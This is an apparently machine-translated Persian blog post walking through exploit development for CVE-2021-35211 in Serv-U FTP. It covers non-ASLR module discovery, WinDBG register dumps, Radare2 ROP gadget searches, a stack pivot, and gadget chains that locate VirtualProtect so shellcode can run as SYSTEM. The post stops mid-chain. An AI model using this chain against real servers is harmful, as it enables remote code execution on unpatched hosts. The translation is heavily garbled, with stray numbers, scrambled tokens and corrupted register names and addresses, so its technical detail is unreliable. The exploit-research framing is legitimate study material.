تیم Cosmos یک اکسپلویت سفارشی برای CVE-2021-35211 ایجاد کرد

پیشینه

به عنوان بخشی از کارمان بر روی پلتفرم Cosmos (که قبلاً به عنوان CAST شناخته می‌شد)، گاهی اوقات برای دستیابی به نیازهای مشتری خاص، نیاز به سلاح‌سازی آسیب‌پذیری‌ها داریم. در این مورد از ما پرسیده شد که "آیا می توانید برای این یک اکسپلویت بنویسید؟"

آسیب‌پذیری

در این وبلاگ، می‌خواهم بخشی از فرآیند فکری ایجاد یک اکسپلویت مبتنی بر ROP برای Serv-U FTP v15.2.3.717 در ویندوز مدرن را به اشتراک بگذارم. سیستم های. من قصد ندارم علت اصلی آسیب پذیری را در اینجا پوشش دهم زیرا تیم تحقیقاتی مایکروسافت در پست وبلاگ خود به خوبی از آن استفاده کردند. لطفاً ابتدا آن مقاله را بخوانید و سپس به اینجا بازگردید اگر علاقه مند هستید که چگونه به نقطه PoC NattySamson و سوء استفاده بعدی خود رسیدیم. رجیستر r9 را با یک مقدار ارائه شده توسط مهاجم پر کنید که متعاقباً توسط دستور call r9 استفاده می شود. این به ما راهی برای کنترل ریپ و اجرای تئوری کد دلخواه در زمینه Serv-U می دهد، که معمولاً به عنوان یک سرویس به عنوان NT AUTHORITYSystem اجرا می شود.

ما ابزارسازی را ساده نگه می داریم. اگر می خواهید در کنار هم بازی کنید، به این موارد نیاز دارید:

  • یک جداکننده. در این مثال من از Hopper Disassembler استفاده کردم، اما IDA Pro، Ghidra یا هر چیز دیگری این کار را انجام می دهد.
  • Radare2. چاقوی ارتش سوئیس زبان اسمبلی! آن را از وب سایت Radare2 دریافت کنید.
  • WinDBG. من از WinDBG در Windows Server 2022 Datacenter استفاده کردم، می توانید آن را از اینجا دریافت کنید.
  • کد اثبات مفهوم. اکسپلویتی که من نوشتم بر اساس PoC نوشته شده توسط NattiSamson است. کد اصلی اینجاست: PoC.
  • Serv-U-FTP v15.2.3.717. آن را از صفحه دانلود Serv-U دانلود کنید.
  • Python 3. Python 2 احتمالاً با برخی از ترفندها کار خواهد کرد. من بسیاری از این کارها را به صورت دستی انجام می دهم تا مراحل مربوط به نوشتن اکسپلویت های ROP را بهتر نشان دهم. شاید در یک پست وبلاگ بعدی به نحوه انجام این کار با ابزارهای اتوماسیونی مانند مونا خواهم پرداخت. توسعه Exploit

    من با PoC NattiSamson شروع کردم که باگ را در Serv-U ایجاد کرد و یک مقدار قابل کنترل توسط کاربر را در rip از طریق فراخوانی r9[194590] قرار داد. r9 یک رجیستر QWORD (8 بایت / 64 بیتی) است، که محتویات آن را می توان با ارسال یک بار مخرب به دقت ساخته شده در طول دست دادن رمزنگاری SSH اولیه با Serv-U کنترل کرد.

    Let's' توسعه اکسپلویت را به قطعات تقسیم کنید. این یک اکسپلویت ROP خواهد بود و به راحتی به این صورت ساخته می‌شود:

    1. آدرسی را در r9 قرار دهید تا اجرای کد را شروع کنید
    2. ASLR را شکست دهید تا 6P59i بالا را فعال کنید[09] نشانگر پشته rsp برای اشاره به زنجیره ROP در بارگذاری ما
    3. آدرس تابع kernel32.dll!VirtualProtect را بیابید، که من از stack برای برش exe استفاده خواهم کرد RWX)
    4. تعیین ابزارهای مفید ROP برای انجام (4)
    5. یک زنجیره ROP بسازید که VirtualProtect را فراخوانی می‌کند تا حفاظت صفحه پشته را از RX به RWX تغییر دهد[196590] pre-seters the -مقادیر بهره برداری (در صورت لزوم و امکان پذیر)
    6. ابزارهای ROP را برای پرش به کد پوسته در پشته جدید اجرایی اضافه کنید

    ممکن است به آن ترتیب پایبند باشم یا نمانم!

کجا پرش کنیم؟ ASLR؟ Stack Pivot؟

سه نقطه اول بالا همگی در هم تنیده شده اند، بنابراین من همزمان به آنها خواهم پرداخت. سوال این است: چه آدرس حافظه ای را باید در r9 قرار دهم تا بتوانیم بهره برداری زنجیره ROP خود را شروع کنیم؟ من باید حل کنم:

  • نشانگر پشته rsp باید قبل از بازگشت تماس r9 با یک دستورالعمل ret به زنجیره ROP ما اشاره کند. این به دلیل نحوه کار ret است. دستور ret را معادل pop rax در نظر بگیرید. jmp rax یا ساده تر، pop rip، که هر دو یک آدرس 64 بیتی را از پشته بیرون می آورند و به آن می پرند. اگر پشته را کنترل کنید، آدرس برگشتی هر دستورالعمل ret را در آینده کنترل می کنید.
  • به عبارت دیگر: اگر rsp تا زمان ret[بهزنجیرهROPمااشارهنکند19459010نامیدهمیشود،منشیلنگهستم
  • متأسفانه rsp به زنجیره ROP ما در زمان تماس PoC r9 اولین ابزار ROP ما را اشاره نمی کند، rsp را با آدرس بافر زنجیره پیلود/ROP ما پر کنید و سپس فراخوانی مجدد.
  • به دلیل ASLR، اکثر آدرس های حافظه هر بار که Serv-U راه اندازی می شود متفاوت خواهند بود. من باید آدرس‌های ثابت را پیدا کنم، حداقل تا زمانی که بتوانم جای پای مناسبی برای جستجوی پویا در زمان اجرا پیدا کنم. حیله گر. خوشبختانه، ستاره‌ها روی این باگ هم‌تراز شدند و کار کردن با این مشکلات بسیار آسان است. اول: ASLR. تا زمانی که روی تصادفی‌سازی فضای آدرس کار نکرده باشم، نمی‌توانم کاری انجام دهم.

ASLR

نمی‌توانم پیوت را روی هم قرار دهم یا به‌طور قابل اعتمادی به یک دستورالعمل مفید بپرم یا به زنجیره ROP بروم تا زمانی که موارد غیر مفیدی را پیدا نکنم. آدرس‌های قابل پیش‌بینی و تکرارپذیر ASLR.

اولین کاری که باید انجام دهید این است که ببینید آیا Serv-U.exe یا هر یک از DLL‌های همراه بدون پشتیبانی ASLR کامپایل شده‌اند یا خیر. ابزار کار، PESecurity NetSPI است که از https://github.com/NetSPI/PESecurity در دسترس است. این یک اسکریپت PowerShell است که فایل‌های اجرایی را برای پرچم‌های امنیتی اسکن می‌کند و یک گزارش مختصر تولید می‌کند، مانند:

PS C:UsersAdministratorDesktop> Import-Module.Get-PESecurity.psm1
PS C:UsersAdministratorDesktop> Get-PESecurity -directory 'C:Program FilesRhinoSoftServ-U' -recursive

نام فایل: C:Program FilesRhinoSoftServ-URhinoNET.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است

نام فایل: C:Program FilesRhinoSoftServ-URhinoRES.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است

نام فایل: C:Program FilesRhinoSoftServ-UServ-U-RES.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است

نام فایل: C:Program FilesRhinoSoftServ-UServ-U-Setup.exe
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: درست است
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است

نام فایل: C:Program FilesRhinoSoftServ-UServ-U-Tray.exe
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: درست است
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است

نام فایل: C:Program FilesRhinoSoftServ-UServ-U.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است

نام فایل: C:Program FilesRhinoSoftServ-Uzlib1.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است

دودهای مقدس، این تعداد زیادی باینری غیر ASLR است! برای شرم، SolarWinds. این بدان معناست که Serv-U.dll و غیره همیشه در همان آدرس‌های حافظه بارگذاری می‌شوند، به این معنی که من آدرس‌های قابل اعتمادی دارم که می‌توانم ابزارهای ROP را از آنها جمع‌آوری کنم.

Stack Pivot

همانطور که قبلاً ذکر شد، نشانگر پشته rsp در زمانی که فراخوانی r9 اتفاق می‌افتد، به بافر بار بهره‌برداری ما اشاره نمی‌کند. این همه چیز را خراب می کند زیرا زمانی که تابع r9 ret را فراخواند، CPU آدرس برگشتی را از پشته در آدرس در rsp و [1459010] و [1459010] [1945] ] به آن. به عبارت دیگر، اجرا به صورت عادی از سر گرفته می شود. من می‌توانم r9 را کنترل کنم و بنابراین کنترل کنم که تماس به کجا می‌پرد، اما نمی‌توانم کنترل کنم که به کجا برمی‌گردد. من باید راهی پیدا کنم تا rsp را به محموله خود نشان دهم و تنها با استفاده از یک ابزار ROP به زنجیره ROP خود برگردم. ]rbp. از کجا بدانم؟ با بررسی رجیسترها و پشته در یک دیباگر در نقطه فراخوانی r9 توسط CPU اجرا می شود.

ابتدا ثبات ها:

<0:008> r
00 0000000d`09bfebf0 00000000`72111cb8 LIBEAY32!CRYPTO_ctr128_encrypt+0xc6
rax=000000000000010 rbx=000001ed4d497f00 rcx=000001ed4d9126b8
rdx=000001ed4d9126c8 rsi=ffffffffffb627a8 rdi=0000000000000000
rip=00000000720b9636 rsp=0000000d09bfebf0 rbp=000001ed4d5a410a
 r8=000001ed4d497f00 r9=4141414141414100 r10=000001ed4d497f00
r11=000001ed4d5a40fa r12=000001ed4d9126c8 r13=0000000000000001
r14=ffffffffffc91a32 r15=000001ed4d474e80
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
LIBEAY32!CRYPTO_ctr128_encrypt+0xc6:
00000000`720b9636 41ffd1 call r9 {41414141`41414141}

ما می‌توانیم ببینیم که نشانگر پشته و نشانگرهای پایه به هم نزدیک نیستند:

rsp = 0x00d09b
rbp = 0x1ed4d5a410a

چیزی از بار ما در آدرس حافظه rsp وجود نداشت، اما در مورد rbp چطور؟[196590]
00000253`5badfa9a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaaa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaca 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA
00000253`5badfada 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaea 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfafa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb0a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb1a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb2a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb3a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb4a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb5a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb6a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb7a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb8a 41 41 41 41 41 41 41 41-00 00 00 00 00 00 00 00 AAAAAAAA……..
00000253`5badfb9a 00 00 00 00 00 00 00 00-00 00 00 00 00 00 73 92 …………..s.
00000253`5badfbaa bf a1 35 03 00 90 b8 34-5a 90 ff 7f 00 00 70 34 ..5….4Z…..p4
00000253`5badfbba 5a 90 ff 7f 00 00 00 22 Z……"

یکنوع بازی شبیه لوتو! بنابراین اولین دستور روز این است که آدرس را در rbp به به منتقل کنید. برای انجام این کار، به یک ابزار ROP نیاز دارم که کاری شبیه به:

mov rsp، rbp را انجام دهد.
ret

به ندرت به این راحتی است، اما از اینجا شروع می کنیم. استفاده از Radare2 برای جستجوی ابزارهای ROP ساده است، به ویژه در معماری هایی که به حافظه غیرهمتراز دسترسی دارند مانند Intel x64 که به ما کمک می کند ابزارهایی را پیدا کنیم که حتی بخشی از کد کامپایل شده نیستند. این یک مفهوم جالب است، آن را بررسی کنید. کد زیر را در نظر بگیرید:

0x18005d485 498be3 mov rsp, r11
0x18005d488 5d pop rbp
0x18005d489 c3 ret

اولین دستورالعمل، mov rspr11، سه بایت را اشغال می کند سه بایت در 3 بایت در [19459009 3 بایت 3 بایت [194590090x18005d485. بنابراین، دستورالعمل بعدی در آدرسی 3 بایت بالاتر در 0x18005d488 است. آدرس های دستورالعمل؟ کدهای عملیاتی x8bxe3x5dxc3 خواهند بود که مجموعه‌ای از دستورالعمل‌ها کاملاً متفاوت است. می‌توانید از Radare2 برای جداسازی این کدهای عملیاتی مانند زیر استفاده کنید:

% rasm2 -a x86 -b 64 -d 8be35dc3
mov esp، ebx
پاپ rbp
ret

خب، به آن نگاه کنید! یک گجت کاملا متفاوت می‌توانید از Radare2 بخواهید بایت به بایت جستجوهای ابزارک را انجام دهد تا با استفاده از فرمان "/ad/a " مانند این، همه جایگشت‌های ممکن دستورالعمل‌ها را کشف کند:

% r2 Serv-U.dll
 - نپرسید که r2 چه کاری می تواند برای شما انجام دهد - بپرسید که برای r2 چه کاری می توانید انجام دهید
[0x1801a4184]> "/ad/a mov rsp;ret;"
[0x1801a4184]>

فرمان بالا "/ad/a mov rsp;ret" به Radare2 می‌گوید که Serv-U.dll را برای دستورالعمل‌ها اسکن کند که با یک فایل [094] مطابقت دارد. ]mov به دنبال آن یک ret، و در آن دستورالعمل mov چیزی را در رجیستر rsp می‌نویسد. هر یک از عبارت های پرس و جو انباشته شده با نقطه ویرگول از هم جدا می شوند و انتظار می رود Regexe باشند. کل دستور باید داخل دو نقل قول باشد.

متأسفانه برای ما، جستجوی Radare2 بالا هیچ نتیجه ای نداشت. خوب، بیایید سعی کنیم ابزاری را پیدا کنیم که دارای نوعی mov rsp، .*، سپس هر دستورالعمل دیگری و سپس یک ret:

[0x1801a4184]> باشد. ad/a mov rsp;.*;ret;"
0x180059ffb 498be3 mov rsp, r11
0x180059ffe 5d pop rbp
0x180059fff c3 ret
0x18005d485 498be3 mov rsp, r11
0x18005d488 5d pop rbp
0x18005d489 c3 ret
0x18005d986 498be3 mov rsp, r11
0x18005d989 5d pop rbp
0x18005d98a c3 ret
0x18005fa9a 498be3 mov rsp, r11
0x18005fa9d 415e pop r14
0x18005fa9f c3 ret
0x180063a5a 498be3 mov rsp, r11
0x180063a5d 5f pop rdi
0x180063a5e c3 ret
0x180064795 498be3 mov rsp, r11
0x180064798 5f pop rdi
0x180064799 c3 ret
... برای اختصار حذف شده است ...
0x180196569 498be3 mov rsp, r11
0x18019656c 5f pop rdi
0x18019656d c3 ret
0x1801a167f 498be3 mov rsp, r11
0x1801a1682 5f pop rdi
0x1801a1683 c3 ret

این تعداد زیادی ابزار منطبق است! به یاد داشته باشید، من می‌خواهم آدرس محموله خود را در rsp قرار دهم. بیایید هر ابزاری را که در آن rbp از پشته خارج شده است را رد کنیم. من مایلم از به هم ریختن ثبت‌های پشته بیش از حد ضروری اجتناب کنم. برایم مهم نیست که rdi خراب شود، بنابراین این ابزارها می توانند مفید باشند تا زمانی که r11 به مکان بافر بار ما در پشته اشاره کند.

برای بررسی. مقدار r11 من از WinDBG برای پیوست کردن به فرآیند Serv-U و مقایسه مقدار rbp در برابر r11 در آن زمان استفاده کردم. توسط اکسپلویت اجرا می‌شود:

(1c60.1c04): نقض دسترسی - کد c0000005 (اولین فرصت)
استثناهای شانس اول قبل از هر گونه رسیدگی به استثنا گزارش می شوند.
این استثنا ممکن است مورد انتظار و رسیدگی باشد.
LIBEAY32!CRYPTO_ctr128_encrypt+0xc6:
00000000`720b9636 41ffd1 با r9 تماس بگیرید {41414141`41414141}
0:013> r
rax=000000000000010 rbx=0000020058925d20 rcx=0000020058d1d688
rdx=0000020058d1d698 rsi=ffffffffffb5ee68 rdi=0000000000000000
rip=00000000720b9636 rsp=0000009dd2aff320 rbp=0000020058648b3a
 r8=0000020058925d20 r9=4141414141414141 r10=0000020058925d20
r11=0000020058648b2a r12=0000020058d1d698 r13=0000000000000001
r14=ffffffffff92b492 r15=000002005887c510
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
LIBEAY32!CRYPTO_ctr128_encrypt+0xc6:
00000000`720b9636 41ffd1 با r9 تماس بگیرید {41414141`41414141}
0:013>

می‌توانیم ببینیم که:

rbp=0000020058648b3a
r11=0000020058648b2a

چه خوش شانسی! رجیستر r11 به آدرسی 16 بایت بالاتر از rbp اشاره می کند که دقیقاً به بافر بار ما اشاره می کند. من می‌توانم از ابزار ROP تازه شناسایی‌شده برای اجرای stack pivot استفاده کنم، هشت بایت از پشته (که واقعاً بار ماست) به rdi بریز و سپس بایت‌های بعدی را از پشته به بریزم. ]ریپ; با توجه به اینکه من پشته جدید را کنترل می‌کنم، بنابراین مقدار rip را کنترل می‌کنم، به این معنی که اکنون ابزاری برای چرخاندن پشته و ادامه اجرای از زنجیره ROP خود دارم.

من آدرس ابزارک را انتخاب کردم. 0x18010391a از مواردی که توسط Radare2 یافت شد. این مقدار به عنوان اولین آدرس ابزار ROP ما در بافر payload قرار گرفت.

اجرای Shellcode: یافتن kernel32!VirtualProtect

اکنون که پشته را به بافر ROP خود منتقل کردم، به بافر ROP خود نیاز دارم. برای تنظیم شرایط اجرای shellcode. مرحله اول: صفحات حافظه ای که کد پوسته ما در آنها ذخیره شده است را قابل خواندن، قابل نوشتن و مهمتر از همه قابل اجرا کنید. کد پوسته ما روی پشته در بافر محموله ما قرار دارد، بنابراین این چیزی است که من باید آن را اجرایی کنم.

تابع VirtualProtect برای تغییر پرچم های حفاظتی برای مناطق حافظه استفاده می شود، که به ما امکان می دهد پشته را تنظیم کنیم. به قابل اجرا (RWX). من جدول واردات Serv-U.dll را بررسی کردم، اما VirtualProtect را وارد نکرد، بنابراین ساده‌ترین راه برای دریافت آدرس صحیح (مرجع مستقیم) کار نمی‌کند. در عوض باید از توابع بومی ویندوز برای استخراج آدرس با فراخوانی معادل GetProcAddress(GetModuleHandleW(L"kernel32.dll)، "VirtualProtect") استفاده کنم. جداول (Navigation / Imported Symbols in Hopper) که Serv-U.dll GetModuleHandleW از 7]79Tجدول[39View0009]7919000910000000010000917009100910091009100910009100091000910009100091000910009100000100100000000000000 وارد می شود. همچنین GetProcAddress:

مشاهده جدول واردات disassembler با GetProcAddress

آدرس 0x1801c92c8[194]0x1801c92c8[194] 0x1801c92c0[194]59S595900101959501501019595959595959595959595959595959595010190500001. وقتی به آن پرش می شود، اجرا را به kernel32!GetModuleHandleW واقعی هدایت می کند که توسط بارگذار کتابخانه سیستم عامل در فضای پردازش Serv-U نگاشت شده است. همین امر برای 0x1801c9590 و kernel32!GetProcAddress صدق می کند. به عبارت دیگر، مقدار ذخیره شده در آدرس 0x0x1801c92c8 یک اشاره گر به تابع واقعی GetModuleHandleW است. از GetModuleHandleW در این زمینه. ابتدا، ترامپولین را در Serv-U.dll:

0:026> u poi(0x1801c92c8) لغو کنید.
KERNEL32!GetModuleHandleWStub:
00007ffd`19e4ce40 48ff2559370600 jmp qword ptr [KERNEL32!_imp_GetModuleHandleW (00007ffd`19eb05a0)]
00007ffd`19e4ce47 cc int 3

عالی. آیا همین امر در مورد GetProcAddress صدق می کند؟

0:026> u poi(0x1801c9590)
KERNEL32!GetProcAddressStub:
00007ffd`19e4a780 4c8b0424 mov r8,qword ptr [rsp]
00007ffd`19e4a784 48ff25bd510600 jmp qword ptr [KERNEL32!_imp_GetProcAddressForCaller (00007ffd`19eaf948)]
00007ffd`19e4a78b cc int 3

بله واقعاً! این ما را از دردسرهای زیادی نجات داده است و من می توانم زنجیره ROP را به روش "آسان" با فراخوانی نشانگرهای شناخته شده برای دسترسی به توابع مورد نیاز برای مکان یابی VirtualProtect بنویسم. برای فراخوانی عملکردهای ضروری، باید برخی از ابزارهای ROP را بیابم که عملکردهای لازم را ارائه دهند. pivot

  • تنظیم پارامتر مورد نیاز هنگام فراخوانی moduleHandle = GetModuleHandleW(L"kernel32.dll")
  • Call it
  • Call it
  • Set up49Prometers (moduleHandle، "GetProcAddress")
  • Call it
  • چهار پارامتر مورد نیاز برای VirtualProtect(stackAddress، اندازه، ویژگی‌ها، و نتایج، اندازه، ویژگی‌ها، و نتایج) را تنظیم کنید[509]109[109] آدرس سورتمه NOP بافر محموله ما + shellcode
  • بازیابی قاب پشته پیش از بهره برداری
  • پرش به پوسته کد
  • برای ایجاد زنجیره ابزارک کمی آزمون و خطا لازم است زیرا ما اغلب محدود هستیم به ابزارهای کمتر از ایده آل بنابراین مدتی را صرف یافتن ابزارهای مفید کردم. چه چیزی "مفید" است؟ در اینجا چند ایده وجود دارد:

    • ساده و کوتاه. به عنوان مثال mov rax, rbx ; ret بسیار بهتر از mov rax, rbx؛ mov rax, qword ptr [19459006; زیرا دومی روی مقادیری که ما می‌خواهیم ضربه می‌زند و همچنین به دلیل دستور pop با پشته به هم می‌خورد. Simple در ROP خوب است. اما اگر نتوانیم ابزارهای "کامل" را پیدا کنیم (یعنی آنهایی که فقط موارد مورد نظر را انجام می‌دهند. عملیات و یک ret) سپس ما باید به ابزارهایی با بار اضافی بسنده کنیم. در چهار رجیستر عبور دهنده آرگومان (rcx، rdx، r8، و r9[194] به ترتیب فراخوانی توابع فوق العاده مفید هستند، [194] برای مثال، این ابزارها طلای جامد هستند:
      • pop rcx؛ ret
      • pop rdx؛ ret
      • pop 008]پاپ r9 ; ret
    • در این اکسپلویت هیچ ابزار pop r9 موجود نبود. در عوض، من به دنبال کوچکترین ابزارهای غیر کامل ممکن گشتم تا رجیستر دیگری را با مقدار دلخواه بارگیری کنم و آن را در رجیستر r9 تعویض کنم، مانند این:
      • پاپ راکس؛ xchg r9, rax ; ret
    • ابزارهای کنترل جریان مانند jmp rax. ret یا با rbx تماس بگیرید. ret را می‌توان به این صورت به هم متصل کرد:
      • pop rax و به دنبال آن
      • jmp rax یا jmp qword ptr [rax]
    • ابزارک‌هایی که در صورت عدم استفاده از خطوط فوق‌العاده مفید هستند. مواردی که من برای GetModuleHandleW و GetProcAddress دارم. به عنوان مثال:
      • mov rax، qword ptr [rax]. مقدار را در آدرس حافظه در rax می خواند و آن را در رجیستر rax ذخیره می کند. 8 بایت در آدرس حافظه 0x123456789 و این مقدار را در رجیستر rax ذخیره می کند. زنجیره ROP واقعی گاهی اوقات نتیجه نمی دهد و باید برای همیشه به فکر راه های جایگزین برای انجام کار باشید. به عنوان مثال، من ساعت‌ها تلاش کردم تا هنگام فراخوانی به VirtualProtect یک راه آسان برای قرار دادن مقادیر دلخواه در رجیستر r9 پیدا کنم. در نهایت من روی یک زنجیره دو گجت مستقر شدم که r9 از طریق rax پر شد، مانند این:

        # ابزارک 1
        pop rax # ما پشته را کنترل می‌کنیم، بنابراین می‌توانیم مقدار وارد شده به rax را کنترل کنیم
        ret
        
        # ابزارک 2
        xchg rax، r9 # tadaaaa

        adc al, 0 # به طور موثر یک NOP بدون عواقب اضافه کردن rsp، 0x38 # به طور موثر یک NOP با عواقب: نشانگر پشته 0x38 بایت افزایش می یابد. ret # آدرسی که توسط دستور ret از پشته بیرون آمده است باید 0x38 بایت بیشتر از مقدار معمولی بار/پشته ما باشد. rsp، 0x38، از محموله من خورده شد، اما کار را انجام داد و بهترین چیزی بود که داشتم، بنابراین با آن رفتم. تابع ] بصورت:

        HMODULE GetModuleHandleW(
          [in, optional] LPCWSTR lpModuleName
        )؛

        یک اشاره گر (در اصطلاح مایکروسافت با نام "دسته") برای مشخص کردن ماژول (DLL، قابل اجرا، و غیره) در حافظه برمی‌گرداند. اشاره گر به معنای واقعی کلمه به یک DLL کامل در حافظه اشاره می کند اگر بارگذاری شود. نام ماژول باید به عنوان یک رشته "گسترده" مشخص شود که از 16 بیت در هر کاراکتر به جای هشت بیت ASCII در هر کاراکتر استفاده می کند. به عنوان مثال:

        ASCII:

        "kernel32" = x6bx65x72x6ex65x6cx33x32

        رشته عریض:

        "x66xb2" x00x72x00x6ex00x65x00x6cx00x33x00x32x00"

        به اندازه کافی، یک نسخه رشته گسترده از kernel32[1045] در [0]Serv-U.dll باینری! در 0x180313230 قرار دارد، همانطور که در اینجا در Hopper نشان داده شده است:

        نسخه رشته گسترده Serv-U در اینجا نشان داده شده است.

        توجه داشته باشید که به عنوان نوع dw نشان داده می شود که یک رشته گسترده است. بررسی نتیجه در ویرایشگر هگز تأیید می کند که این رشته واقعاً یک رشته گسترده است:

         در نتیجه ویرایشگر هگز به صورت یک نشان داده می شود. رشته ای بسیار گسترده

        عالی. همه چیز برای تماس با GetModulehandlew (L "Kernel32.dll") آیا Pseudo-Code زیر است:

         POP ​​RCX # ما مقدار 0x180313230 (آدرس kernel32) رشته) روی پشته ای که باید به rcx اضافه شود
        pop rax # مقدار 0x1801c92c8 (آدرس ترامپولین GetModuleHandleW) را روی پشته قرار می دهیم تا در rax قرار گیرد.
        jmp [rax] # Rax Reference و پرش به آدرس حاصل که آدرس واقعی GetModuleHandleW است
        mov rcx, rax # دستگیره برگشتی را در rcx برای بعدی ذخیره کنید

        دستگیره kernel32.dll در رجیستر rax برگردانده شد، که می‌توانیم آن را برای استفاده بعدی ذخیره کنیم. در اکسپلویت، آن را در یک ناحیه قابل نوشتن از حافظه در بخش .data Serv-U ذخیره می‌کنم که به عنوان یک صفحه خراش برای «متغیرهایی» که داده‌ها را موقتاً نگه می‌دارند، در نظر می‌گیرم.

    Call GetProcAddress[2]The [196590تابعGetProcAddress به صورت زیر تعریف شده است:

    FARPROC GetProcAddress(
      [in] HMODULE hModule،
      [in] LPCSTR lpProcName
    

    اولین پارامتر دسته ای است که من از GetModuleHandleW به دست آوردم. دومی نام تابعی است که می‌خواهم پیدا کنم: VirtualProtect. این بار انتظار می رود که رشته ASCII باشد، نه پهن. متأسفانه، هیچ رشته «VirtualProtect» با پایان NULL در باینری های Serv-U وجود ندارد، بنابراین باید با استفاده از پشته، رشته خود را ایجاد کنم.

    اولین گام یافتن یک آدرس حافظه قابل نوشتن در Serv-U's است. بخش .data که می توانم یک رشته برای آن بنویسم. من از Hopper برای جستجوی بخش داده‌ها برای یافتن بخشی استفاده کردم که به هیچ کدی ارجاع داده نشده است. فرض بر این است که منطقه حافظه واقعاً استفاده نشده است. کد شبه به شرح زیر است:

    # "VirtualProtectx00x00" (16 بایت) را در یک آدرس استفاده نشده در .data بنویسید.
    # کار را تقسیم کنید تا دو تکه 8 بایتی پشت سر هم نوشته شوند.
    
    pop rdx # یک آدرس استفاده نشده در بخش داده Serv-U به rdx نمایش داده می شود.
    pop rax # مقدار 0x506c617574726956 ("VirtualP" small-endian) را از پشته بردارید.
    mov [rdx]rax # "VirtualP" را در 8 بایت اول از تکه حافظه داده ما بنویسید.
    
    pop rdx # آدرس 8 بایت بعدی حافظه .data را در rdx قرار دهید.
    pop rax # "rotectx00x00" را از پشته به رجیستر rax باز کنید.
    mov [rdx]، rax # افزودن "rotectx00x00" به قسمت حافظه ما، ایجاد یک رشته کامل "VirtualProtectx00x00". # فرض کنید rcx حاوی مقدار بازگردانده شده توسط GetModuleHandleW، دسته به kernel32.dll باشد.
    # فرض کنید rdx حاوی آدرس رشته "VirtualProtectx00" باشد.
    pop rax # Pop 0x1801c9590 از پشته (آدرس ترامپولین GetProcAddress)
    jmp [rax] # پرش به GetProcAddress (دسته، "VirtualProtectx00")
    # آدرس تابع VirtualProtect با راکس برگردانده می شود)

    فیو! اکنون آدرس VirtualProtect در rax را دارم.
    [in] LPVOID lpAddress، # آدرس شروع حافظه برای قابل اجرا کردن (به نزدیکترین مرز صفحه 4k گرد شده است).
    [in] SIZE_T dwSize، # تعداد بایت های قابل اجرا (به نزدیکترین مرز صفحه 4k گرد شده).
    [in] DWORD flNewProtect، # پرچم‌های حفاظتی. در این مورد 0x40 = RWX.
    [out] PDWORD lpflOldProtect # نتایج را در این متغیر برگرداند. باید یک آدرس حافظه قابل نوشتن باشد!

    به خاطر داشته باشید که پارامترها در rcx، rdx، r8، r8، ، 5، 5 و ، ، 9، و 9 به این تابع ارسال می شوند. به ترتیب. در این مورد:

    rcx = آدرس بافر بار ما (یعنی آدرس پشته فعلی)
    rdx = 0x2000 (8 کیلوبایت یا دو صفحه حافظه 4k)
    r8 = 0x40 (قابل خواندن، قابل نوشتن، قابل اجرا)
    r9 = آدرس از بخش داده Serv-U

    پارامترهای دوم و سوم بسیار آسان هستند: فقط آنها را از پشته جدا کنید!

    pop rdx # Pop 0x2000 off the stack
    pop r8 # Pop 0x40 off the stack

    دریافت آخرین آرگومان کمی پیچیده تر است زیرا ما ابزار pop r9 برای کار با آن نداریم. در عوض از ابزار ترکیبی استفاده می‌شود:

    # 1st gadget
    pop rax # آدرس قابل نوشتن پاپ از پشته در rax
    ret
    # ابزار دوم
    xchg rax، r9 # rax و r9 را تعویض کنید تا r9 اکنون حاوی آدرس قابل نوشتن باشد
    adc al, 0 # دستورالعمل مزخرف اضافی عملاً هیچ عملیاتی را انجام نمی دهد
